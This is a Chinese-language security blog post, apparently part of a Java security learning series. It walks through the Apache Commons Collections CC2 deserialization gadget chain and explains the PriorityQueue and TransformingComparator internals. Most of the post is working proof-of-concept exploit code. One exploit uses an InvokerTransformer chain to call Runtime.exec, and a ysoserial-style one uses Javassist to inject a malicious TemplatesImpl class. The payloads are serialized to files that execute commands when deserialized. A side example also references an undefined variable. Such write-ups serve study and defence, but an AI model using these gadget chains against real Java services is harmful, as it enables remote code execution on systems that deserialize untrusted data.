CCchain1-7 原文 :JAVA安全-学习路线指南(持续更新) - Erosion2020 - 博客园
CC1 1
CC2 这里只记录原始的POC和新的ClassPoolPOC
PriorityQueue TransformingComparator 是 org.apache.commons.collections4.comparators 包中的一个比较器的装饰器类,这个类重写了 compare 方法,而 compare 方法中调用了 Transformer 的 transform 方法,而CC链的最终目的都是为了调用 Transfromer 和 ConstantTransformer InvokerTransformer 这类的,所以可以配合起来触发攻击链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.apache.commons.collections4.comparators;...... public class TransformingComparator <I, O> implements Comparator <I>, Serializable { private static final long serialVersionUID = 3456940356043606220L ; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O > transformer; ...... public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } ...... }
Java中的优先权队列的一些重要代码片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public boolean add (E e) { return offer(e); } public boolean offer (E e) { ... if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; } private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); } private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
将PQ中的 compare 方法通过 TransformingComparator 来创建,就可以获得以下 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static void main2 () throws Exception { Transformer[] transformer_exec = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chain = new ChainedTransformer (transformer_exec); PriorityQueue queue = new PriorityQueue (); queue.add(1 ); queue.add(2 ); Field comparator = queue.getClass().getDeclaredField("comparator" ); comparator.setAccessible(true ); TransformingComparator transformingComparator = new TransformingComparator (chain); comparator.set(queue, transformingComparator); FileOutputStream fos = new FileOutputStream (fileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(queue); oos.flush(); oos.close(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (fileName); ObjectInputStream ois = new ObjectInputStream (fis); Object obj = (Object) ois.readObject(); }
其调用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void readObject (java.io.ObjectInputStream s) ... for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; } public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PriorityQueue.readObject -> .heapify -> .siftDown -> .siftDownUsingComparator -> .compare -> TransformingComparator.compare -> ChainedTransformer.transform() -> ConstantTransformer.transform() -> InvokerTransformer.transform() ·Method.invoke() ·Class.getMethod() -> InvokerTransformer.transform() ·Method.invoke() ·Runtime.getRuntime() -> InvokerTransformer.transform() ·Method.invoke() ·Runtime.exec()
ClassPool ClassPool 是 javassist 库中的一个核心类,它提供了一个管理和操作字节码的机制
在 Java 反序列化漏洞利用中,ClassPool 主要用于动态生成、修改和加载字节码
ClassPool 在 CC2 攻击链中的作用是生成恶意的字节码(如构造恶意的 TemplatesImpl 或其他类),并通过反序列化漏洞将它们加载到内存中,最终执行恶意代码。攻击者可以利用 ClassPool 来生成一个包含恶意静态代码块的类,在类加载时自动触发恶意操作
ClassPool:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javassist.*;public class JavassistExample { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("com.example.MyClass" ); CtMethod ctMethod = CtNewMethod.make( "public void sayHello() { System.out.println(\"Hello from Javassist!\"); }" , ctClass); String construtorCMD = "System.out.println(\"Hello 构造方法\");" ; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.addMethod(ctMethod); Class<?> clazz = ctClass.toClass(); Object instance = clazz.newInstance(); clazz.getMethod("sayHello" ).invoke(instance); } }
ysoserialPOC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 public class CommonsCollections2 { static String serialFileName = "commons-collections2.ser" ; public static void main (String[] args) throws Exception { cc2byYsoSerial(); verify(); } public static void verify () throws Exception { FileInputStream fis = new FileInputStream (serialFileName); ObjectInputStream ois = new ObjectInputStream (fis); Object ignore = (Object) ois.readObject(); } public static void cc2byYsoSerial () throws Exception { String executeCode = "Runtime.getRuntime().exec(\"calc\");" ; ClassPool pool = ClassPool.getDefault(); CtClass evil = pool.makeClass("ysoserial.Evil" ); evil.makeClassInitializer().insertAfter(executeCode); evil.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); evil.setSuperclass(superC); final byte [] classBytes = evil.toBytecode(); byte [][] trueclassbyte = new byte [][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "Pwnr" ); Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName" ); iMethodName.setAccessible(true ); iMethodName.set(transformer, "newTransformer" ); Field queueField = queue.getClass().getDeclaredField("queue" ); queueField.setAccessible(true ); Object[] queueArray = new Object []{templates,1 }; queueField.set(queue,queueArray); FileOutputStream fos = new FileOutputStream (serialFileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(queue); oos.flush(); oos.close(); } }